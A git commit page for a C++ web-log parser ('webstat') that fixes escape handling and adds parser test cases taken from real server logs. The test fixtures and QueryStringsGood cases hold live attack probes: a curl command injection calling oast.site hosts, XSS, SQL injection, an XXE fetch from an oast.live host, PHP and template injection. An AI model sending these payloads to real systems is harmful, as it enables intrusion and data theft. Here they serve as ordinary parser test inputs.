summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDan Goodliffe <dan.goodliffe@octal.co.uk>2026-07-02 15:46:25 +0100
committerDan Goodliffe <dan.goodliffe@octal.co.uk>2026-07-02 15:46:25 +0100
commitfbb5038105e26e07d34184544ea4c70892acef92 (patch)
tree1bd79bc9280b65116dd714f202718e9a5e8d091b
parent3cc7a1b1c0bf84ffcb149741c9ca2c60d9f00068 (diff)
downloadwebstat-fbb5038105e26e07d34184544ea4c70892acef92.tar.bz2
webstat-fbb5038105e26e07d34184544ea4c70892acef92.tar.xz
webstat-fbb5038105e26e07d34184544ea4c70892acef92.zip
Fixes to parseEscapedString
Fix the warnings picked up by the latest clang-tidy. Add test cases lifted from the bad_lines log. Add missing support for \b in escaping.
-rw-r--r--src/logTypes.cpp31
-rw-r--r--test/Jamfile.jam2
-rw-r--r--test/fixtures/badHex.exp.txt1
-rw-r--r--test/fixtures/badHex.in.txt1
-rw-r--r--test/test-ingest.cpp47
5 files changed, 67 insertions, 15 deletions
diff --git a/src/logTypes.cpp b/src/logTypes.cpp
index d8b3a7e..25fc193 100644
--- a/src/logTypes.cpp
+++ b/src/logTypes.cpp
@@ -3,18 +3,19 @@
namespace {
namespace {
constexpr auto BS_MAP = []() {
- std::array<char, 128> map {};
- map['f'] = '\f';
- map['n'] = '\n';
- map['r'] = '\r';
- map['t'] = '\t';
- map['v'] = '\v';
- map['"'] = '"';
- map['\\'] = '\\';
+ std::array<char, 'v' + 1> map {};
+ map.at('b') = '\b';
+ map.at('f') = '\f';
+ map.at('n') = '\n';
+ map.at('r') = '\r';
+ map.at('t') = '\t';
+ map.at('v') = '\v';
+ map.at('"') = '"';
+ map.at('\\') = '\\';
return map;
}();
- scn::scan_expected<typename scn::ContextType::iterator>
+ scn::scan_expected<scn::ContextType::iterator>
parseEscapedString(std::string & value, scn::ContextType & ctx, const auto & start)
{
ctx.advance_to(start->begin());
@@ -30,8 +31,8 @@ namespace {
value.append(1, static_cast<char>(hex->value()));
ctx.advance_to(hex->begin());
}
- else if (auto escaped = scn::scan<std::string>(ctx.range(), R"ESC(\{:.1[fnrtv"\]})ESC")) {
- value.append(1, BS_MAP[static_cast<unsigned char>(escaped->value().front())]);
+ else if (auto escaped = scn::scan<std::string>(ctx.range(), R"ESC(\{:.1[bfnrtv"\]})ESC")) {
+ value.append(1, BS_MAP.at(static_cast<unsigned char>(escaped->value().front())));
ctx.advance_to(escaped->begin());
}
else {
@@ -44,7 +45,7 @@ namespace {
}
namespace scn {
- scan_expected<typename ContextType::iterator>
+ scan_expected<ContextType::iterator>
scanner<WebStat::QuotedString>::scan(WebStat::QuotedString & value, ContextType & ctx)
{
if (auto empty = scn::scan<>(ctx.range(), R"("")")) {
@@ -63,7 +64,7 @@ namespace scn {
return unexpected(simple.error());
}
- scan_expected<typename ContextType::iterator>
+ scan_expected<ContextType::iterator>
scanner<WebStat::QueryString>::scan(WebStat::QueryString & value, ContextType & ctx)
{
if (auto null = scn::scan<>(ctx.range(), R"("")")) {
@@ -83,13 +84,13 @@ namespace scn {
return unexpected(empty.error());
}
- scan_expected<typename ContextType::iterator>
+ scan_expected<ContextType::iterator>
scanner<WebStat::CLFString>::scan(WebStat::CLFString & value, ContextType & ctx)
{
if (auto null = scn::scan<>(ctx.range(), R"("-")")) {
return null->begin();
}
- return scn::scanner<WebStat::QuotedString> {}.scan(value.emplace(), ctx);
+ return scn::scanner<WebStat::QuotedString>::scan(value.emplace(), ctx);
}
}
diff --git a/test/Jamfile.jam b/test/Jamfile.jam
index 98c0d9a..b8d4a6e 100644
--- a/test/Jamfile.jam
+++ b/test/Jamfile.jam
@@ -34,6 +34,8 @@ run test-ingest.cpp :
-- :
../src/schema.sql
:
+ <dependency>fixtures/badHex.in.txt
+ <dependency>fixtures/badHex.exp.txt
<define>BOOST_TEST_DYN_LINK
<library>testing-util
<library>..//dbpp-postgresql
diff --git a/test/fixtures/badHex.exp.txt b/test/fixtures/badHex.exp.txt
new file mode 100644
index 0000000..fe881c9
--- /dev/null
+++ b/test/fixtures/badHex.exp.txt
@@ -0,0 +1 @@
+/׿ؿؿd¸;{curl,http:/d68kln4h7ttk42oulg6gs1q8cp6k5obp1.oast.site+-H+'User-Agent:+eUCxcw'};׿ؿؿd¸;{curl,http:/d68kln4h7ttk42oulg6gwee1i13nkzmsm.oast.site+-H+'User-Agent:+eUCxcw'}; \ No newline at end of file
diff --git a/test/fixtures/badHex.in.txt b/test/fixtures/badHex.in.txt
new file mode 100644
index 0000000..57fecba
--- /dev/null
+++ b/test/fixtures/badHex.in.txt
@@ -0,0 +1 @@
+"/\x04\xd7\x7f\xbf\x18\xd8\x7f\xbf\x18\xd8\x7f\xbfd\xb8\x06\b;{curl,http:/d68kln4h7ttk42oulg6gs1q8cp6k5obp1.oast.site+-H+'User-Agent:+eUCxcw'};\x04\xd7\x7f\xbf\x18\xd8\x7f\xbf\x18\xd8\x7f\xbfd\xb8\x06\b;{curl,http:/d68kln4h7ttk42oulg6gwee1i13nkzmsm.oast.site+-H+'User-Agent:+eUCxcw'};"
diff --git a/test/test-ingest.cpp b/test/test-ingest.cpp
index 9860f08..7aa099e 100644
--- a/test/test-ingest.cpp
+++ b/test/test-ingest.cpp
@@ -104,6 +104,17 @@ namespace DB {
BOOST_TEST_DONT_PRINT_LOG_VALUE(Ingestor::Stats);
+const std::string badHexIn {
+#embed "fixtures/badHex.in.txt"
+};
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wnarrowing"
+#pragma GCC diagnostic ignored "-Wconversion"
+const WebStat::QuotedString badHexExp {
+#embed "fixtures/badHex.exp.txt"
+};
+#pragma GCC diagnostic pop
+
BOOST_DATA_TEST_CASE(QuotedStringsGood,
boost::unit_test::data::make<WebStat::ParseData<WebStat::QuotedString>>({
{R"("")", ""},
@@ -116,6 +127,9 @@ BOOST_DATA_TEST_CASE(QuotedStringsGood,
{R"("hex\t\x41")", "hex\tA"},
{R"("/packages/dev-php/pecl-uploadprogress(),')\"((,,")",
R"LOG(/packages/dev-php/pecl-uploadprogress(),')"((,,)LOG"},
+ {R"("/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/")",
+ R"(/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/)"},
+ {badHexIn, badHexExp},
}),
input, expected)
{
@@ -143,6 +157,39 @@ BOOST_DATA_TEST_CASE(QueryStringsGood,
{R"("?something")", "something"},
{R"("?some=thing")", "some=thing"},
{R"("?some=thing&other=thing")", "some=thing&other=thing"},
+ {R"("?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php")",
+ R"(lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php)"},
+ {R"("?device=aaaaa:a%27\";user|s.\"1337\";")", R"(device=aaaaa:a%27";user|s."1337";)"},
+ {R"("?destpage=\"<h1xxx\"><script>alert(document.domain)</script>&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError")",
+ R"(destpage="<h1xxx"><script>alert(document.domain)</script>&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError)"},
+ {R"("?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa")",
+ R"(extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa)"},
+ {R"("?h=gentoobrowse-2.0.0_beta7&id=\"><script%20>alert(String.fromCharCode(88,83,83))</script>")",
+ R"(h=gentoobrowse-2.0.0_beta7&id="><script%20>alert(String.fromCharCode(88,83,83))</script>)"},
+ {R"("?h=\"><script%20>alert(String.fromCharCode(88,83,83))</script>&id=d3465d0d00edd302c9d6fc7672a9405921a6a7db")",
+ R"(h="><script%20>alert(String.fromCharCode(88,83,83))</script>&id=d3465d0d00edd302c9d6fc7672a9405921a6a7db)"},
+ {R"("?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq\"><script>alert(document.domain)</script>")",
+ R"(pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq"><script>alert(document.domain)</script>)"},
+ {R"("?p=1&xsg-provider=data://text/html,<?php%20echo%20md5(\"CVE-2022-0346\");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp")",
+ R"(p=1&xsg-provider=data://text/html,<?php%20echo%20md5("CVE-2022-0346");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp)"},
+ {R"("?action=likebtn_prx&likebtn_q=aHR0cDovL2xpa2VidG4uY29tLm9hc3QubWU=\"")",
+ R"(action=likebtn_prx&likebtn_q=aHR0cDovL2xpa2VidG4uY29tLm9hc3QubWU=")"},
+ {R"("?xml=<%3fxml+version%3d\"1.0\"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+\"http%3a//d68kbl4h7ttk5ft3kh10e3yhnbxkdoni3.oast.live/xxe.xml\">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123")",
+ R"(xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//d68kbl4h7ttk5ft3kh10e3yhnbxkdoni3.oast.live/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123)"},
+ {R"("?jvar_page_title=<style><j:jelly%20xmlns:j=\"jelly\"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style>")",
+ R"(jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style>)"},
+ {R"("?h=gentoobrowse-api-0.11.2.1&id=\"><script%20>alert(String.fromCharCode(88,83,83))</script>")",
+ R"(h=gentoobrowse-api-0.11.2.1&id="><script%20>alert(String.fromCharCode(88,83,83))</script>)"},
+ {R"("?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts=\"%27;%0Aalert(document.domain);//%0a%27")",
+ R"(opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27)"},
+ {R"("?wpapp_shortcode=\"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1")",
+ R"(wpapp_shortcode="%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1)"},
+ {R"("?post_type=sc_order&order_type=orders&format_err=1\"></script><script>alert(document.domain)</script><script>")",
+ R"(post_type=sc_order&order_type=orders&format_err=1"></script><script>alert(document.domain)</script><script>)"},
+ {R"("?page=ph-settings&ph_message=\"><script>alert(document.domain)</script>")",
+ R"(page=ph-settings&ph_message="><script>alert(document.domain)</script>)"},
+ {R"("?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept")",
+ R"(entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept)"},
}),
input, expected)
{